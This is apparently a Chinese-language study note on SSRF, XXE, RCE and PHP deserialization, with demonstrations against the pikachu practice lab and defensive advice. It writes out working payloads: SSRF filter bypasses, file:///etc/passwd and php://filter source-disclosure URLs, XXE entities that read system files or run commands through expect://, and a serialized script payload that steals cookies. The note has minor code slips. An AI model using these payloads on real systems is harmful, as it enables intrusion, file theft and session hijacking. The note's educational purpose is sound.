SSRF_XXE_RCE_反序列化学习

目录

SSRF学习

漏洞简介

漏洞原理

漏洞演示

漏洞防御

XXE学习

漏洞简介

漏洞原理

漏洞防御

RCE学习

漏洞简介

漏洞原理

漏洞防御

反序列化学习

漏洞简介

漏洞原理

漏洞防御


SSRF学习

漏洞简介

  • SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。

漏洞原理

  • SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。比如,通过控制前台的请求远程地址加载的响应,来让请求数据由远程的URL域名修改为请求本地、或者内网的IP地址及服务,来造成对内网系统的攻击。

  • 危害:

    1. 扫描内网开放服务

    2. 向内部任意主机的任意端口发送payload来攻击内网服务

    3. DOS攻击(请求大文件,始终保持连接Keep-Alive Always)

    4. 攻击内网的web应用,例如直接SQL注入、XSS攻击等

    5. 利用file、gopher、dict协议读取本地文件、执行命令等

      • 这里将不同系统使用的协议进行整理:

        复制代码
        php:
        http、https、file、gopher、phar、dict、ftp、ssh、telnet... java:
        http、https、file、ftp、jar、netdoc、mailto...
  • 漏洞绕过:

    • 限制为 http://www.xxx.com/域名时

      • 可以尝试采用http基本身份认证的方式绕过,http://www.xxx.com@www.xxc.com在对@解析域名中,不同的处理函数存在处理差异,例如http://www.aaa.com@www.bbb.com@www.ccc.com,在PHP的parse_url中会识别http://www.ccc.com/,而libcurl则识别http://www.bbb.com/
    • 限制请求IP不为内网地址

      • 即限制访问所有内网IP,可采用短网址绕过,短网址转换

      • 可采用进制转换绕过:

        复制代码
        127.0.0.1采用进制转换,
        127.0.0.1八进制:0177.0.0.1。
        十六进制:0x7f.0.0.1。
        十进制:  2130706433
    • 限制请求只为 http协议;

    • 利用句号绕过:(极少数情境下可以)

      • 127。0。0。1 >>> 127.0.0.1
  • 漏洞的检测:

    复制代码
    1、排除法:浏览器F12查看源代码看是否是在本地进行了请求
    举例:该资源地址类型为  http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞。
    2、Dnslog等工具进行测试,查看是否被访问
    生成一个域名用于伪造请求,看漏洞服务器是否发起 DNS 解析请求,若成功访问在 http://DNSLog.cn
    上就会有解析日志。
    3、抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址。
    4、访问日志检查:伪造请求到自己控制的公网服务器,然后在服务器上查看访问日志是否有来自漏洞服务器的请求。
    5、扫描工具

漏洞演示

  • 先讲一下漏洞出现点:

    复制代码
    分享
    通过url 地址分享文章,例如如下地址:
    http://share.magedu.com/index.php?url=http://127.0.0.1
    图片加载与下载
    通过URL地址加载或下载图片
    http://image.magedu.com/image.php?image=http://127.0.0.1
    图片文章收藏功能
    http://title.magedu.com/title?title=http://title.magedu.com/as52ps63de
    例如title参数是文章的标题地址,代表了一个文章的地址链接,请求后返回文章是否保存、收藏的返回信息。如果保存、收藏功能采用了此种形式保存文章,则在没有限制参数的形式下可能存在SSRF。
  • pikachu演示:

    • ssrf-curl:

      • curl是一个库,能让你通过URL和许多不同种的服务器进行交流,并且还支持许多协议,重点是可以用来请求Web服务器。curl可以支持https认证、 http post、ftp上传、代理、cookies、简单口令认证等等功能。

      • 打开题目环境:我们根据题目点击发现了这个url有点可疑,

        http://192.168.111.145/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php这里居然允许包含127.0.0.1本地回环地址,于是我们进行其他尝试:尝试进行访问百度http://192.168.111.145/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com

        虽然显示有些问题,但是可以看出这里确实是通过服务器访问到了百度,这里就存在一个服务器解析远程地址的问题

      • 既然都可以进行远程地址访问,那么这里试试服务器文件访问,服务器文件应该有/etc/passwd,使用file协议进行访问:http://192.168.111.145/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd

        成功~!

    • ssrf-file_get_content:

      • file_get_contents() 函数把整个文件读入一个字符串中,是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。php://filter:是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。于是乎,我们还可以通过这种过滤器来进行文件读取

      • 构造payload:http://192.168.111.145/vul/ssrf/ssrf_fgc.php?file=php://filter/resource=ssrf_curl.php这里显示的是上一关中php代码的最初显示页面,由于是php文件,file_get_content函数是直接把php文件解析了,于是,要得到源代码的话,我们需要用base64编码的文件流形式读取出来,于是再度构造payload:http://192.168.111.145/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf_curl.php查看页面:

        base64解码可得源码.

漏洞防御

    1. 设置URL白名单或者黑名单内网IP;

    2. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准;

    3. 禁用不需要的协议,仅仅允许http和https请求,可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

XXE学习

漏洞简介

  • XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack(外部实体注入攻击)。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数是

    simplexml_load_string()。

漏洞原理

  • 什么事XML外部实体:

    • XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    • 主要看一下[DTD-实体],首先让我们了解一下基本的PAYLOAD结构:

      复制代码
      XML 文档声明,在文档的第一行
      XML 文档类型定义,即DTD,XXE 漏洞所在的地方
      XML 文档元素
    • DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

      复制代码
      内部声明DTD <!DOCTYPE 根元素 [元素声明]>
      外部声明DTD <!DOCTYPE 根元素 SYSTEM "文件名">
      <!DOCTYPE note SYSTEM "Note.dtd">
      或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
      • 示例:

        • 内部声明DTD

          复制代码
          <?xml version="1.0"?>   //xml声明
          <!DOCTYPE note [
          <!ELEMENT note (to,from,heading,body)>   //定义note元素,并且有四个子元素
          <!ELEMENT to    (#PCDATA)>  //定义了子元素to,后面的(#PCDATA)意思是
          to元素里面的字符串内容不会被解析
          <!ELEMENT from  (#PCDATA)>
          <!ELEMENT heading (#PCDATA)>
          <!ELEMENT body  (#PCDATA)>
          ]>
          <note>
          <to>George</to>
          <from>John</from>
          <heading>Reminder</heading>
          <body>Don't forget the meeting!</body>
          </note>

        • 外部声明DTD:

          复制代码
          <?xml version="1.0"?>
          <!DOCTYPE note SYSTEM "note.dtd">
          <note>
          <to>George</to>
          <from>John</from>
          <heading>Reminder</heading>
          <body>Don't forget the meeting!</body>
          </note>
          //其中notedtd的内容就是:
          <!DOCTYPE note [
          <!ELEMENT note (to,from,heading,body)>
          <!ELEMENT to    (#PCDATA)>
          <!ELEMENT from  (#PCDATA)>
          <!ELEMENT heading (#PCDATA)>
          <!ELEMENT body  (#PCDATA)>
          ]>
        • DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用

          复制代码
          内部声明实体 <!DOCTYPE 实体名称 "实体的值">
          引用外部实体 <!DOCTYPE 实体名称 SYSTEM "URL">
          或者 <!DOCTYPE 实体名称 PUBLIC "public_ID" "URL">
        • 内部声明实体:

          复制代码
          <?xml version="1.0"?> <!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r "Hu3sky"> ]> <note> <name>&hack3r;</name> </note>

        • 外部声明实体:

          复制代码
          <!DOCTYPE foo [<!ELEMENT foo ANY >
          <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/mage.dtd" >
          %xxe;]>
          <foo>&xxe;</foo>
          ​
          //而里面引用的外部实体mage.dtd的内容:
          ​
          <!ENTITY mage SYSTEM “file:///c:/windows/win.ini” >
        • 危害:正因为外部实体支持的http、file等协议,那么就有可能通过以用外部实体进行远程文件读取。

          • 读取任意文件:

            复制代码
            <?xml version="1.0"?>
            <!DOCTYPE mage[
            <!ENTITY f SYSTEM "file:///etc/passwd">
            ]>
             
            ​
            <hhh>&f;</hhh>
          • 执行系统命令:

            复制代码
               <?xml version="1.0"?>
               <!DOCTYPE mage[
               <!ENTITY f SYSTEM "expect://id">
               ]>
          • 执行系统命令:

            复制代码
               <?xml version="1.0"?>
               <!DOCTYPE mage[
               <!ENTITY f SYSTEM "expect://id">
               ]>
            ​
            ​
              <hhh>&f;</hhh>
            ​
          • pikachu漏洞演示:

            • 首先我们进入环境

              这里提示提交一个xml数据,于是我们提交

              复制代码
              <?xml version="1.0" encoding="UTF-8" ?>
              <!DOCTYPE note [
              <!ENTITY hack "magedu">
              ]>
              <name>&hack;</name>

              先检验一下xml是否真的存在,这里发现输出了magedu,说明存在xml数据被正确解析了:

              于是我们输入下面:

              复制代码
              <?xml version="1.0"?>
              <!DOCTYPE mage[
              <!ENTITY f SYSTEM "file:///etc/passwd">
              ]>
              ​
              ​
                <hhh>&f;</hhh>

              这是一个可以读取服务器文件的payload:

漏洞防御

  • 使用开发语言提供的禁用外部实体的方法:

    复制代码
    //php:
    libxml_disable_entity_loader(true);
    ​
    //java:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
    ​
    //Python:
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  • 过滤用户提交的xml数据:

    复制代码
    过滤关键词: <!DOCTYPE 和 <!ENTITY,或者 SYSTEM 和 PUBLIC

RCE学习

漏洞简介

  • 什么是RCE?

    • RCE英文全称:remote command/code execute,分为 远程命令执行ping 和 远程代码执行eval RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

漏洞原理

    1. 远程命令执行

      • 出现原因:因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。

      • 比如常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的 web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交"意想不到"的命令,从而控制整个后台服务器。

      • 例如:如今很多甲方企业的自动化运维平台,大量的系统操作会通过"自动化运维"平台进行操作,其中往往会出现远程系统命令执行的漏洞。

    2. 远程代码执行

      • 出现原因:因为需求设计,后台有时候会把用户的输入作为代码的一部分进行执行,也造成了远程代码执行漏洞,不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

漏洞防御

  • 如果需要给前端用户提供操作类的API接口,一定需要对接口的输入的内容进行严格的判断,比如实施严格的白名单是一个好的方法。

反序列化学习

漏洞简介

  • 序列化与反序列化:

    复制代码
    序列化:把对象转换为字节序列的过程称为对象的序列化。
    反序列化:把字节序列恢复为对象的过程称为对象的反序列化。
  • 序列化的原因:

    复制代码
    方便传输 格式统一

漏洞原理

  • PHP中的反序列化学习:

    • php中的魔术方法:(魔术方法是语言中保留的方法名,各个方法会在对应操作时自动调用)

      复制代码
      __construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
      __sleep() 使用serialize()时自动触发
      __wakeup() 使用unserialize()时自动触发
      __destruct() 当一个对象被销毁时触发
      __toString() 当一个类被当成字符串使用时触发
      __invoke() 当尝试以调用函数的方式调用一个对象时触发
      __call() 在对象上下文中调用不可访问的方法时触发
      __callStatic() 在静态上下文中调用不可访问的方法时触发
      __get() 用于从不可访问的属性读取数据
      __set() 用于将数据写入不可访问的属性
      __isset() 在不可访问的属性上调用isset()或empty()触发
      __unset() 在不可访问的属性上使用unset()时触发
    • 看一段简单的漏洞代码:

      复制代码
      <?php
          // 定义了一个简单的类S
          class S{
                  var $test = "pikachu";
                  function __destruct(){
                      echo $this->test;
                  }
              }
          // $s=new S(); //创建一个对象
          // serialize($s); //把这个对象进行序列化
          // 序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
          // $s这个变量的值是get方法得到的test参数值
          // 然后被其反序列化
          $s = $_GET['test'];
          @$unser = unserialize($a);    
      ?>

      这里我们首先对$s变量进行一个赋值,为S类的新创建对象,这里就可以对其进行序列化,结果为O:1:"S":1:{s:4:"test";s:7:"pikachu";}解释一下,这里的含义:

      复制代码
          O:代表object
          1:代表对象名字长度为一个字符
          S:对象的名称
          1:代表对象里面有一个变量
          s:数据类型
          4:变量名称的长度
          test:变量名称
          s:数据类型
          7:变量值的长度
          pikachu:变量值
              
      // ps:各种类型序列化后对应的表示:
          // 空字符
          N;
          // 整型666
          i:666;
          // 浮点型66.6
          d:66.6;
          // Boolean型true
          b:1;
          // false
          b:0;
          // 字符串’benben’
          s:6(长度):“benben”;
    • 我们在看后面,有反序列化函数:会将我们输入的参数值进行一个反序列化,那么如果我们在这里构造一下这个参数值呢:假设test属性的值是:<script>alert(document.cookie);</script>"是一段js代码,echo会将内容输出到前端,前端又会对js代码解析,输出弹窗为用户的cookie:这里如果能够正确传入的话,我们会看到用户的cookie

      话说回来,我们如何进行payload的构造呢:这时我们就要写一个简单的php脚本,来对对象序列化的值进行一个输出:

      复制代码
      <?php 
       class S{
                  var $test = "<script>alert(document.cookie);</script>";
              }
      $s=new S();
      echo serialize($s);
      ?>

      如果原来php文件中定义的函数不是echo而是更加危险的函数入eval等可能会引发代码执行等漏洞.

漏洞防御

  1. 过滤反序列化的内容

  2. 只返序列化来源可信的数据

相关推荐
蓝桉80211 分钟前
opencv学习(图像金字塔)
人工智能·opencv·学习
rannn_1111 小时前
Java学习|黑马笔记|Day23】网络编程、反射、动态代理
java·笔记·后端·学习
go54631584651 小时前
中文语音识别与偏误检测系统开发
开发语言·人工智能·学习·生成对抗网络·数学建模·语音识别
好奇龙猫2 小时前
日语学习-日语知识点小记-构建基础-JLPT-N3阶段(9):ようなN
学习
牵牛老人2 小时前
OpenCV学习探秘之二 :数字图像的矩阵原理,OpenCV图像类与常用函数接口说明,及其常见操作核心技术详解
opencv·学习·矩阵
flashier3 小时前
ESP32学习笔记_Components(1)——使用LED Strip组件点亮LED灯带
学习·esp32·led·led灯带·esp32组件
Shining05964 小时前
Datawhale AI 夏令营—科大讯飞AI大赛(大模型技术)—让大模型理解表格数据(列车信息表)
人工智能·学习·其他
悦悦子a啊5 小时前
Python之--字典
开发语言·python·学习
print_Hyon5 小时前
【CTF-WEB-SQL】SQL注入基本流程-错误注入(sql-labs的Less5)(updatexml)
ctf